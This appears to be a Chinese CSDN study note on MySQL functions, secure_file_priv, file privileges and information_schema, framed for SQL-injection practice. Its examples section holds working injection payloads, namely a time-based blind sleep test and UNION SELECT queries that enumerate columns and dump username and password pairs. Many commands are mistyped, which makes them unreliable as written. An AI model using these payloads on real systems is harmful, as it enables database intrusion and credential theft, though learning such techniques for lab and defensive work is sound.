数据库相关知识

本文介绍了MySQL的一些关键函数和语句,如user(), database(), version()等,用于获取当前用户和数据库信息。同时,讨论了secure_file_priv变量在导入导出数据时的角色,以及如何检查用户的文件操作权限。此外,还提到了information_schema数据库用于查询元数据的功能,并展示了几个查询示例,包括获取表名、字段名以及用户权限。
摘要由CSDN通过智能技术生成

mysql

show dtabase;
use mysql;
show mysql;

函数/语句 功能
user() 当前用户名
database() 当前所用数据库
current_user() 当前用户名(可用来查看权限)
version() 数据库的版本
@@datadir 数据库的路径读文件操作
Into outfile() / into dumpfile
写文件操作

查看数据库是否开启导入导出
show variables 1ike “secure_file_priv”;
查看当前数据库用户
select currert__user();
t查看当前用户是否具有文件读写权限
select File_priv from nmysq1.user where user='root’and host=‘1ocalhost’;

ecure.file_.prive参数的设置 含义
secure .file_prive=null 限制mysqld不允许导入导出
secure…file.priv=/tmp/ 限制mysqld的导入导出只能发生在/tmp/目录下
secure .file .priv=’ ’ 不对mysqld的导入导出做限

字符串连接函数
concat(str1,str2…) 函数直接连接
group_concat(str,str2) 函数使用逗号做为分隔符
concat_ws(sep,str1,str2…) 函数使用第一个参数做为分隔符

information schema

information_schema
schemata 所有数据库的名字
schema_name 数据库名
tables它所有表的名字
table_schema 表所属数据库的名字
table_name 表的名字
columms 所有字段的名字
table_schema 字段所属数据库的名字
table_name 字段所属表的名字
column_name 字段的名字

例子
If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(5))–+

union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 --+

union select 1,group_concat(username,0x3a,password) from users – +

union select 1,(select group_concat(id,0x7e,username,0x7e,password) from users) – +

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值